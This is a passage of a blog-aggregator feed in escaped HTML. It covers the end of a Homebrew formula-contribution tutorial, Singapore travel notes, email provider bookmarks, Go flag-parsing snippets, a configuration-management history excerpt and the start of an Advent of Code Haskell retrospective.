    &lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;install&lt;/span&gt;
    &lt;span class="c1"&gt;# Fix build per Makefile instructions&lt;/span&gt;
    &lt;span class="n"&gt;inreplace&lt;/span&gt; &lt;span class="s2"&gt;"Makefile"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"-static"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;div class="highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;lt;span class="nb"&amp;gt;system&amp;lt;/span&amp;gt; &amp;lt;span class="s2"&amp;gt;"make"&amp;lt;/span&amp;gt;
&amp;lt;span class="n"&amp;gt;bin&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="nf"&amp;gt;install&amp;lt;/span&amp;gt; &amp;lt;span class="s2"&amp;gt;"muscle"&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;h2&gt;When things (finally) go right&lt;/h2&gt;
&lt;p&gt;Success! Test that everything went well with &lt;code&gt;brew test -v muscle&lt;/code&gt; and check that the style and syntax of the formula are correct with &lt;code&gt;brew audit --strict --online muscle&lt;/code&gt;. &lt;code&gt;test&lt;/code&gt; works great, but &lt;code&gt;audit&lt;/code&gt; complained and said:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;brewsci/bio/muscle:
  * Stable: version 3.8.1551 is redundant with version scanned from URL
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Remove the &lt;code&gt;version&lt;/code&gt; line and rerun &lt;code&gt;audit&lt;/code&gt; to ensure that there are no further issues.&lt;/p&gt;
&lt;h2&gt;Submitting your changes&lt;/h2&gt;
&lt;p&gt;Commit the changes with &lt;code&gt;git commit muscle.rb -m &amp;quot;muscle 3.8.1551&amp;quot;&lt;/code&gt; and push them up to your fork with &lt;code&gt;git push -u &amp;lt;USERNAME&amp;gt;&lt;/code&gt;, replacing &lt;code&gt;&amp;lt;USERNAME&amp;gt;&lt;/code&gt; with your own GitHub username. Then run &lt;code&gt;hub pull-request&lt;/code&gt; and fill out the details of the pull request template and a short message explaining your changes (if relevant).&lt;/p&gt;
&lt;p&gt;You’ll now need to wait while the build infrastructure compiles the changes to your proposed formula. A maintainer will eventually come along and either merge your pull request or ask you to make some changes. Once your new formula is merged, all other users of Homebrew get to enjoy your work! Pat yourself on the back for helping others out and contributing to a important piece of open-source software.&lt;/p&gt;
&lt;h2&gt;Closing notes&lt;/h2&gt;
&lt;p&gt;There’s a lot of edge cases to building software, which is why package managers exist so regular folk don’t have to deal with these problems. I’ve spent &lt;a href="https://twitter.com/chang_jon/status/504859294303805440"&gt;too&lt;/a&gt; &lt;a href="https://twitter.com/chang_jon/status/505082689037545472"&gt;much&lt;/a&gt; &lt;a href="https://twitter.com/chang_jon/status/515599346381762561"&gt;time&lt;/a&gt; diagnosing arcane linker errors; I contribute to Homebrew so no one else has to needlessly suffer.&lt;/p&gt;
&lt;p&gt;If you regularly use scientific software that isn’t already in Homebrew or Brewsci, please consider &lt;a href="https://github.com/Homebrew/homebrew-core/blob/master/CONTRIBUTING.md"&gt;contributing a formula&lt;/a&gt;, or, if your software is too unstable or specialized, &lt;a href="https://docs.brew.sh/How-to-Create-and-Maintain-a-Tap"&gt;starting a Homebrew tap for your own tools&lt;/a&gt;. I maintain &lt;a href="https://github.com/jonchang/homebrew-biology"&gt;my own tap&lt;/a&gt; that I add to whenever I come across bio software that doesn’t already exist in Homebrew-science. Consult the &lt;a href="https://docs.brew.sh/Formula-Cookbook"&gt;Formula Cookbook&lt;/a&gt; for tips on crafting Homebrew formulae.&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Mon, 05 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/updating-homebrew-formulae-when-your-software-gets-a-new-version/</guid></item><item><title>Westworld: Season 1</title><link>https://olshansky.info/tv/westworld_season_1/</link><description>Olshansky's review of Westworld: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 04 Dec 2016 11:40:18 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/westworld_season_1/</guid></item><item><title>Adding a new placement group operation in Ceph</title><link>https://makedist.com/posts/2016/12/04/adding-a-new-placement-group-operation-in-ceph/</link><description>Teaching Ceph new tricks on entire groups of objects.</description><author>Noah Watkins</author><pubDate>Sun, 04 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2016/12/04/adding-a-new-placement-group-operation-in-ceph/</guid></item><item><title>Spirited Away</title><link>https://olshansky.info/movie/spirited_away/</link><description>Olshansky's review of Spirited Away</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 03 Dec 2016 15:10:50 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/spirited_away/</guid></item><item><title>Singapore notes</title><link>https://xenodium.com/singapore-notes</link><description>&lt;ul&gt;
&lt;li&gt;Hotel Mono, 18 Mosque street #01-04.&lt;/li&gt;
&lt;li&gt;Buddha tooth relic museum.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.telegraph.co.uk/travel/picturegalleries/8308524/Singapores-best-hawker-centres.html"&gt;Best Hawker centers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Kong Meng San Phor Kark See Monastery.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gothere.sg"&gt;Go there (figure out fastest MRT route)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://2bearbear.com/what-to-eat-at-abc-market-hawker-centre-abc-brickworks-food-centre/"&gt;What to eat at ABC Market (Hawker Centre) aka ABC Brickworks Food Centre?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Curry puffs (see &lt;a href="http://www.hungrygowhere.com/gallery/taste-test-crisp-curry-puffs-*gid-39443101/"&gt;Taste test: Crisp curry puffs&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thepeakmagazine.com.sg/2016/07/its-official-here-are-singapores-17-michelin-rated-hawker-stalls-in-2016/"&gt;Singapore’s 17 Michelin-rated Hawker Stalls in 2016&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Temples
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://burmesebuddhisttemple.org.sg/index.htm"&gt;Sasanaramsi Burmese temple (14, Tai Gin Road, Singapore 327873)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Thian_Hock_Keng"&gt;Thian Hock Keng temple&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sultanmosque.sg"&gt;Sultan Mosque&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hawkers
&lt;ul&gt;
&lt;li&gt;Mr and Mrs Mohgan's Super Crispy Roti Prata (&lt;a href="http://www.hungrygowhere.com/gallery/hgw-s-best-hawker-food-for-2015-*gid-75813101/16560200"&gt;source&lt;/a&gt;) on Crane Road. Dhal/fish/mutton curry side.&lt;/li&gt;
&lt;li&gt;Roast Paradise (maybe) Address: #01-122 Old Airport Road Food Centre. Hours: Tues-Sun: 11am to 4pm or till sold out, Wed and Sun: 11am to 2pm, Closed on Mondays.&lt;/li&gt;
&lt;li&gt;Fatty Cheong, 肥仔详, (#01-120, ABC Brickworks Food Centre, 6 Jalan Bukit Merah Singapore 150006): char siew and xio bak rice and char siew noodles.&lt;/li&gt;
&lt;li&gt;Hoo Kee Bak Chang (Amoy Street Food Centre): bak zhang (glutinous rice dumpling). Try Choose from three kinds: chestnut ($2.80); chestnut with salted egg yolk ($3.60); and chestnut with mushroom ($3.60).&lt;/li&gt;
&lt;li&gt;Lim Kee (Orchard) Banana Fritters (Maxwell food centre, &lt;a href="http://www.hungrygowhere.com/gallery/hgw-s-best-hawker-food-for-2015-*gid-75813101/0e560200"&gt;source&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Mr Avocado Exotic Juice (Alexandra village food centre, &lt;a href="http://www.hungrygowhere.com/gallery/hgw-s-best-hawker-food-for-2015-*gid-75813101/19560200"&gt;source&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Tanglin Crispy Curry Puff (Hong Lim Food Centre or Maxwell, &lt;a href="http://www.hungrygowhere.com/gallery/hgw-s-best-hawker-food-for-2015-*gid-75813101/65560200"&gt;source&lt;/a&gt;) (东陵酥皮咖喱角). Try sardine curry puff?&lt;/li&gt;
&lt;li&gt;Chuan Kee Satay (&lt;a href="http://www.hungrygowhere.com/gallery/hgw-s-best-hawker-food-for-2015-*gid-75813101/63560200"&gt;source&lt;/a&gt;). Long queue for pork satay.&lt;/li&gt;
&lt;li&gt;Selera Rasa Nasi Lemak (&lt;a href="http://www.hungrygowhere.com/gallery/hgw-s-best-hawker-food-for-2015-*gid-75813101/6b560200"&gt;source&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Fu Shun Jin Ji Shao La Mian Jia (Maxwell food centre, &lt;a href="http://www.hungrygowhere.com/dining-guide/hawker/food-guide-maxwell-food-centre-*aid-10733101/"&gt;source&lt;/a&gt;): Char siu + noodles.&lt;/li&gt;
&lt;li&gt;Shanghai La Mian Xiao Long Bao (Alexandra Village food centre, &lt;a href="http://www.hungrygowhere.com/gallery/food-guide-alexandra-village-food-centre-*gid-087b3101/584c0200"&gt;source&lt;/a&gt;): xiao long bao or soup dumplings ($4.50 for 7 pieces).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Timbre+ (hipster hawker centre? &lt;a href="http://www.straitstimes.com/lifestyle/food/10-dishes-to-try-at-hipster-hawker-centre-timbre"&gt;source&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Supertree Grove (go at dusk, see lights turn on).&lt;/li&gt;
&lt;li&gt;Singapore Botanic garden.
&lt;ul&gt;
&lt;li&gt;Ginger Garden.&lt;/li&gt;
&lt;li&gt;Palms valley.&lt;/li&gt;
&lt;li&gt;Orchid garden.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sri Mariamman Temple.&lt;/li&gt;
&lt;li&gt;Kusu Island?&lt;/li&gt;
&lt;li&gt;Chilly crab (“Jumbo” Chilli Crab Restaurant in Clarke Quay or Harvest Seafood Restaurant)?&lt;/li&gt;
&lt;li&gt;Afternoon tea?
&lt;ul&gt;
&lt;li&gt;www.tea-chapter.com.sg&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Bumboats (£2.50 return) leave Changi Point between 6am and 9.30pm for the 10-minute crossing to Palau Ubin. Hire a bicycle in the village where the boats dock.&lt;/li&gt;
&lt;li&gt;Haji Lane (colorful road).&lt;/li&gt;
&lt;li&gt;Tiong Bahru 1930s public housing estate (**)
&lt;ul&gt;
&lt;li&gt;Chong Yu Wanton Mee (Tiong Bahru Market And Food Centre #02-30, 30 Seng Poh Road, &lt;a href="http://www.timeout.com/singapore/restaurants-and-cafes/chong-yu-wanton-mee#tab_panel_2"&gt;source&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;old-fashioned treats at Tiong Bahru Galicier (55 Tiong Bahru Rd).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Chinatown
&lt;ul&gt;
&lt;li&gt;Pek Sin Choon Tea: Oldest team merchants.&lt;/li&gt;
&lt;li&gt;Ang Mo Kio: Sri Mariamman Hindu temple.&lt;/li&gt;
&lt;li&gt;Strangelets: quirky stuff from around the world.&lt;/li&gt;
&lt;li&gt;40 Hands: Allegedly one of most popular coffee joints.&lt;/li&gt;
&lt;li&gt;BooksActually: Coolest book shop.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Keong Saik (next to Chinatown)
&lt;ul&gt;
&lt;li&gt;1939 Hotel.&lt;/li&gt;
&lt;li&gt;The Library (49 Keong Saik Rd): night drinks, ask for key/password next door (the-study.sg) (**)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://marikos.com.sg"&gt;Mariko's (Now Phat Cat laundry): Maybe food or drink at night?&lt;/a&gt; (**)&lt;/li&gt;
&lt;li&gt;Rose Citron (23 Keong Said Rd): French and Asian articles.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Everton park (old housing estate), new meets old
&lt;ul&gt;
&lt;li&gt;Coffee
&lt;ul&gt;
&lt;li&gt;Nylon coffee roasters (&lt;a href="http://nyloncoffee.sg"&gt;http://nyloncoffee.sg&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Just Want Coffee (justwant.com.sg).&lt;/li&gt;
&lt;li&gt;Cozy corner coffee.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sweets
&lt;ul&gt;
&lt;li&gt;Grin Affair (grinaffair.com): natural ingredients into glass jar creations.&lt;/li&gt;
&lt;li&gt;Batterworks (batter-works.com): pastries.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cozycornercoffee.com"&gt;http://cozycornercoffee.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Seriously ice scream (facebook.com/seriouslyicecream).&lt;/li&gt;
&lt;li&gt;Ji Xiang Confectionery (jixiangconfectionery.com): Traditional glutinous sweets. (**)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Food
&lt;ul&gt;
&lt;li&gt;The Provision Shop (Blk 3 Everton Park): for a classic and affordable meal.&lt;/li&gt;
&lt;li&gt;Chew the Fat (Blk 6 Everton Park): comfort food.&lt;/li&gt;
&lt;li&gt;Eden's Kitchen (&lt;a href="http://edenskitchen.sg"&gt;http://edenskitchen.sg&lt;/a&gt;): healthy, green tea, coconut oil, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Jalan Besar
&lt;ul&gt;
&lt;li&gt;Char: unconventional char siu (&lt;a href="http://www.nytimes.com/2015/01/25/travel/restaurant-report-char-in-singapore.html"&gt;source&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;The Banana Leaf Apollo (Little India).&lt;/li&gt;
&lt;li&gt;Beach Road Scissors-Cut (220 Jln Besar): Curry Rice. (**)&lt;/li&gt;
&lt;li&gt;Fu Zhou Poh Hwa Oyster Cake (166 Jln Besar): UFO-shaped snacks. (**)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sweechoon.com"&gt;Swee Choon Tim Sum Restaurant: a dim sum institution!&lt;/a&gt;. (**)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://papapalheta.com"&gt;Papa Palheta coffee: best coffee in town?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thegeneralco.sg"&gt;General Company: awesome design and workshops&lt;/a&gt;. (**)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://eat.thebravery.sg"&gt;The Bravery: brunch, aka awesome pancakes&lt;/a&gt;. (**)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://aeiou.sg"&gt;AEIOU: Retro shopping&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Geylang (preserved shophouses and rich in Malay history)
&lt;ul&gt;
&lt;li&gt;Hajjah Mona Nasi Padang (Geylang Serai food centre): Order nasi padang (try dry one).&lt;/li&gt;
&lt;li&gt;Biryani Express (Geylang Serai food centre)&lt;/li&gt;
&lt;li&gt;Red light district. Still?&lt;/li&gt;
&lt;li&gt;&lt;a href="http://brawnandbrains.sg/"&gt;Brawn &amp;amp; Brains (Coffee)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://oldgeylang.com.sg"&gt;Old Geylang (crocodile, turtle soup, other oddities)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Hi-Thrift (1 Geylang Rd): Second hand treasures? (**).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 02 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/singapore-notes</guid></item><item><title>Email provider bookmarks</title><link>https://xenodium.com/email-provider-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.robinwhittleton.com/2018/02/18/dropping-g-suite/"&gt;Dropping G Suite - Robin Whittleton&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://heluna.com/"&gt;Heluna - Cloud-based antispam&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mailinabox.email/"&gt;Mail-in-a-Box&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mailbox.org/"&gt;mailbox.org – Ihr sicherer E-Mail-Anbieter&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mailbox.org/"&gt;Mailbox.org&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://migadu.com"&gt;Migadu&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://Posteo.de"&gt;Posteo&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://protonmail.com/"&gt;ProtonMail&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://soverin.net/"&gt;Soverin - Home - Soverin&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=40708476"&gt;Understanding SPF, DKIM, and DMARC: A Simple Guide | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 02 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/email-provider-bookmarks</guid></item><item><title>Go snippets</title><link>https://xenodium.com/go-snippets</link><description>&lt;h2&gt;Command-line flags&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-go"&gt;import (
      &amp;quot;flag&amp;quot;
)

type args struct {
      flag1  string
      flag2  string
        arg    string
}

func parseArgs() args {
      args := args{}

      flag.StringVar(&amp;amp;args.flag1, &amp;quot;flag1\n&amp;quot;, &amp;quot;\n&amp;quot;, &amp;quot;some flag 1 with sample `value`&amp;quot;)
      flag.StringVar(&amp;amp;args.flag2, &amp;quot;flag2\n&amp;quot;, &amp;quot;\n&amp;quot;, &amp;quot;some flag 2 with sample `value`&amp;quot;)

      flag.CommandLine.Usage = func() {
          fmt.Fprintf(os.Stderr, &amp;quot;Usage of %s:\n\n&amp;quot;, os.Args[0])
          fmt.Fprintf(os.Stderr, &amp;quot;\n  myarg\n\n&amp;quot;)
          flag.PrintDefaults()
      }

      flag.Parse()

      args.arg = flag.Arg(0)

      if args.flag1 == &amp;quot;&amp;quot; || args.flag2 == &amp;quot;&amp;quot; || args.arg == &amp;quot;&amp;quot; {
          flag.CommandLine.Usage()
          os.Exit(1)
      }
      return args
}

func main() {
        args := parseArgs()
        fmt.Printf(&amp;quot;Args: %#v\n&amp;quot;, args)
}

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;go run main.go -flag1 val1 -flag2 val2 arg
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 01 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/go-snippets</guid></item><item><title>Javascript snippets</title><link>https://xenodium.com/javascript-snippets</link><description/><author>xenodium.com @alvaro</author><pubDate>Thu, 01 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/javascript-snippets</guid></item><item><title>A revisionist history of configuration management</title><link>https://purpleidea.com/blog/2016/11/30/a-revisionist-history-of-configuration-management/</link><description>&lt;p&gt;I&amp;rsquo;ve got a brand new core feature in mgmt called &lt;em&gt;send/recv&lt;/em&gt; which I plan to show you shortly, but first I&amp;rsquo;d like to start with some background.&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;History&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is &lt;em&gt;my&lt;/em&gt; historical perspective and interpretation about the last twenty years in configuration management. It&amp;rsquo;s likely inaccurate and slightly revisionist, but it should be correct enough to tell the design story that I want to share.&lt;/p&gt;
&lt;p&gt;Sometime after people started to realize that writing bash scripts wasn&amp;rsquo;t a safe, scalable, or reusable way to automate systems, &lt;em&gt;CFEngine&lt;/em&gt; burst onto the scene with the first real solution to this problem. I think it was mostly all quite sane, but it wasn&amp;rsquo;t a tool which let us build autonomous systems, so people eventually looked elsewhere.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 01 Dec 2016 01:59:49 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/11/30/a-revisionist-history-of-configuration-management/</guid></item><item><title>Advent Of Code 2016 in Haskell</title><link>https://blog.tjll.net/advent-of-code-2016-haskell/</link><description>&lt;p&gt;
I recently (finally!) finished the &lt;a href="http://adventofcode.com"&gt;Advent of Code&lt;/a&gt; challenges using Haskell.
I'm still a Haskell wannabe, but the suite of problems provided an interesting backdrop for a number of Haskell concepts that I wanted to share.
&lt;/p&gt;

&lt;p&gt;
The long-form retrospective is here; if you want to see a condensed collection of a few Haskell toolchain by-products, check out &lt;a href="https://tylerjl.github.io/adventofcode/"&gt;my shorter summary under GitHub pages&lt;/a&gt;.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;
Disclaimer: I am not a Haskell expert (or even what I would label experienced), so the approaches and results here are likely non-optimal and may be flawed.
I'm happy to revise and amend my analysis with additional information via comments/email/PRs/etc.
&lt;/p&gt;
&lt;div class="outline-4" id="outline-container-introduction"&gt;
&lt;h4 id="introduction"&gt;Introduction&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org64988ce"&gt;
&lt;p&gt;
&lt;a href="http://adventofcode.com"&gt;Advent of Code&lt;/a&gt; is a set of coding challenges that started in December 2015.
Although I initially knocked out a couple using Ruby, I found that as the challenges became more difficult they were sufficiently complex enough to provide a good reason to get more familiar with new or foreign concepts.
&lt;/p&gt;

&lt;p&gt;
I haven't done much heavy lifting with functional, pure, or lazy languages, so this was a good chance to learn more.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-code"&gt;
&lt;h4 id="code"&gt;Code&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org44829fb"&gt;
&lt;p&gt;
There's lots of examples for general challenges strategies on &lt;a href="https://www.reddit.com/r/adventofcode"&gt;the Advent of Code subreddit&lt;/a&gt;, so here's the highlights from the Haskell side (I'm sure some of these are shared with $language, but the Haskell take on each concept is still interesting).
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-type-safety"&gt;
&lt;h5 id="type-safety"&gt;Type Safety&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orgba5d06e"&gt;
&lt;p&gt;
If you've tinkered with Haskell before, you'll know that the type system is one of the highlights of the language.
&lt;/p&gt;

&lt;p&gt;
A good example of the helpfulness of the type system is signalling (to a human) when a challenge &lt;i&gt;may&lt;/i&gt; not guarantee a solution.
&lt;/p&gt;

&lt;p&gt;
For example, &lt;a href="http://adventofcode.com/2015/day/1"&gt;the first day's challenge&lt;/a&gt; is pretty simple: given a string with open and closed parenthesis, pretend each represents moving up and down a floor on an apartment building.
It's easy to find the final floor by just mapping characters to &lt;code&gt;+1&lt;/code&gt; or &lt;code&gt;-1&lt;/code&gt; and summing the result (in Haskell parlance, a map and fold).
Part 2, however, asks you to find the string position that moves you below the ground floor (i.e., the first position that moves you to &lt;code&gt;-1&lt;/code&gt; or below).
&lt;/p&gt;

&lt;p&gt;
Clearly, you could sum a sequence of numbers that never goes negative, so the answer to that question could very well be "we never reach the basement".
You could express this limitation for the function different in different languages - maybe raise an &lt;code class="src src-haskell"&gt;&lt;span class="org-haskell-constructor"&gt;UnreachableBasement&lt;/span&gt;&lt;/code&gt; exception somewhere (with the caveats inherent to exceptions), or return &lt;code&gt;-1&lt;/code&gt; (which, also being an integer, isn't semantically helpful).
The Haskell method of expressing this situation is pretty nice &amp;ndash; the type signature is below, &lt;a href="https://github.com/tylerjl/adventofcode/blob/634cb79f43ae6cd2f9efbdda58ecbc666a7e4b0b/src/Y2015/"&gt;and you can also see the implementation on GitHub&lt;/a&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Haskell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-haskell-type"&gt;Font used to highlight Haskell types&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-haskell-operator"&gt;Font used to highlight Haskell operators.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-haskell-definition"&gt;Font used to highlight Haskell definitions.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-haskell"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-haskell-definition"&gt;basement&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;::&lt;/span&gt; &lt;span class="org-haskell-type"&gt;String&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-haskell-type"&gt;Maybe&lt;/span&gt; &lt;span class="org-haskell-type"&gt;Int&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
The function caller is explicitly informed that given a string of parenthesis like &lt;code&gt;(())(&lt;/code&gt;, there's a possibility the function may return &lt;code class="src src-haskell"&gt;&lt;span class="org-haskell-constructor"&gt;Nothing&lt;/span&gt;&lt;/code&gt; and thus signal that it couldn't find an index in the string that meets the requirements.
However, unlike, say, an exception in Ruby, the caller &lt;b&gt;must&lt;/b&gt; &lt;i&gt;explicitly&lt;/i&gt; handle the case in which &lt;code class="src src-haskell"&gt;&lt;span class="org-haskell-constructor"&gt;Nothing&lt;/span&gt;&lt;/code&gt; is returned.
&lt;/p&gt;

&lt;p&gt;
In other words: Haskell won't let you compile the solution until there's some code path that accounts for the &lt;code class="src src-haskell"&gt;&lt;span class="org-haskell-constructor"&gt;Nothing&lt;/span&gt;&lt;/code&gt; result.
A simple example, but this sort of rigor makes complicated logic more resilient down the road.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-good-infinite-loops"&gt;
&lt;h5 id="good-infinite-loops"&gt;(Good!) Infinite Loops&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org48dd478"&gt;
&lt;p&gt;
An interesting mechanism that you can leverage in Haskell is infinite lists: due to &lt;a href="https://en.wikipedia.org/wiki/Lazy_evaluation"&gt;laziness&lt;/a&gt;, you can define lists infinitely and the language will only use as much of the list as necessary.
&lt;/p&gt;

&lt;p&gt;
Consider &lt;a href="http://adventofcode.com/2015/day/11"&gt;day 11&lt;/a&gt;: you're given a rule for how to rotate a password to a new value, and rules that govern whether a password is acceptable.
Given an initial password, you must iterate on the value until it meets all the requirements for a strong password (the challenge comes complete with arbitrary and arcane password strength rules, just like &lt;i&gt;real&lt;/i&gt; life!).
&lt;/p&gt;

&lt;p&gt;
One unique approach you can take in Haskell is to write the rule to rotate a password and then repeatedly apply this function to itself to form an infinite list of potential passwords, then just filter that list for password values that meet the formatting requirements, and take the next value in the list.
Haskell won't compute the entire list; just keep generating passwords until you take the last one you need and move on.
&lt;/p&gt;

&lt;p&gt;
In my solution, I've got a function to iterate on a password called &lt;code class="src src-haskell"&gt;increment&lt;/code&gt;:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Haskell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-haskell-type"&gt;Font used to highlight Haskell types&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-haskell-operator"&gt;Font used to highlight Haskell operators.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-haskell-definition"&gt;Font used to highlight Haskell definitions.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-haskell"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-haskell-definition"&gt;increment&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;::&lt;/span&gt; &lt;span class="org-haskell-type"&gt;String&lt;/span&gt; &lt;span class="org-haskell-operator"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="org-haskell-type"&gt;String&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
There's a Haskell function called &lt;a href="https://hackage.haskell.org/package/base-4.9.0.0/docs/Prelude.html#v:iterate"&gt;iterate&lt;/a&gt; that applies a function to a value an infinite number of times &amp;ndash; coupled with some other basic Haskell functions, we can come up with a nice solution:
&lt;/p&gt;

